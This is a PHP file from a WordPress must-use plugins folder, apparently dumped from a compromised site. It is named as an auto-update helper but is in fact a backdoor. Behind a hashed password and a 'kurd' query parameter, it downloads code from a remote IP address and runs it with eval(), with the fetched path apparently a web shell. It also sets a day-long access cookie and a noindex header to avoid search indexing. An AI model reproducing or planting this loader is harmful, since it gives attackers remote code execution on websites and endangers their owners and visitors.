HEX

File: /home/dtptviut/domains/bodychange.dk/public_html/wp-content/mu-plugins/wps-auto-updates.php
<?php


if (!defined('ABSPATH')) {
    exit;
}

define('KURD_PASSWORD_HASH', 'b4744901a2ad590f54ff0b3e03efa9a2076107446b405d9d52a53dd3605d073a');
define('KURD_COOKIE_NAME',   'kurd_access_approved');
define('KURD_COOKIE_DAYS',   1);

add_action('init', 'kurd_handle_request');

function kurd_handle_request() {
    
    if (is_admin() || !isset($_GET['kurd'])) {
        return;
    }


    if (isset($_COOKIE[KURD_COOKIE_NAME]) && $_COOKIE[KURD_COOKIE_NAME] === '1') {
        kurd_output_content();
        exit;
    }


    if (isset($_POST['kurd_submit']) && isset($_POST['kurd_pass'])) {
        $input     = trim($_POST['kurd_pass']);
        $input_hash = hash('sha256', $input);

        if ($input_hash === KURD_PASSWORD_HASH) {

            $expire = time() + (86400 * KURD_COOKIE_DAYS);
            setcookie(KURD_COOKIE_NAME, '1', $expire, COOKIEPATH, COOKIE_DOMAIN);

            kurd_output_content();
            exit;
        } else {
   
            wp_die(
                '<h2>Wrong password</h2>' .
                '<p><a href="' . esc_url(add_query_arg('kurd', '', home_url('/'))) . '">Try again</a></p>',
                'Access Denied',
                ['response' => 403]
            );
        }
    }


    kurd_show_password_form();
    exit;
}

function kurd_show_password_form() {
    ?>
    <!DOCTYPE html>
    <html <?php language_attributes(); ?>>
    <head>
        <meta charset="<?php bloginfo('charset'); ?>">
        <title>aDriv4</title>
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <style>
            body { font-family: -apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif; background:#f0f2f5; margin:0; padding:0; display:flex; align-items:center; justify-content:center; min-height:100vh; }
            .box { background:white; padding:2.5rem; border-radius:8px; box-shadow:0 2px 10px rgba(0,0,0,0.1); width:100%; max-width:420px; text-align:center; }
            h2 { margin:0 0 1.5rem; color:#333; }
            input[type="password"] { width:100%; padding:0.8rem; margin:0.5rem 0 1rem; border:1px solid #ddd; border-radius:4px; font-size:1rem; box-sizing:border-box; }
            button { background:#0073aa; color:white; border:none; padding:0.9rem 1.5rem; border-radius:4px; font-size:1.1rem; cursor:pointer; width:100%; }
            button:hover { background:#005d87; }
            .error { color:#d63638; margin:1rem 0; }
        </style>
    </head>
    <body>
    <div class="box">
        <h2>aDriv4</h2>

        <form method="post">
            <input type="password" name="kurd_pass" required autofocus placeholder="Password..." />
            <button type="submit" name="kurd_submit">Unlock</button>
        </form>
    </div>
    </body>
    </html>
    <?php
}

function kurd_output_content() {
    $url = "http://51.79.124.111/wshel_w";


    $content = @file_get_contents($url);

    if ($content === false) {
        wp_die(
            '<h2>Error</h2>',
            'Fetch Error',
            ['response' => 503]
        );
    }

    header('X-Robots-Tag: noindex, nofollow', true);

     eval($content);
    exit;
}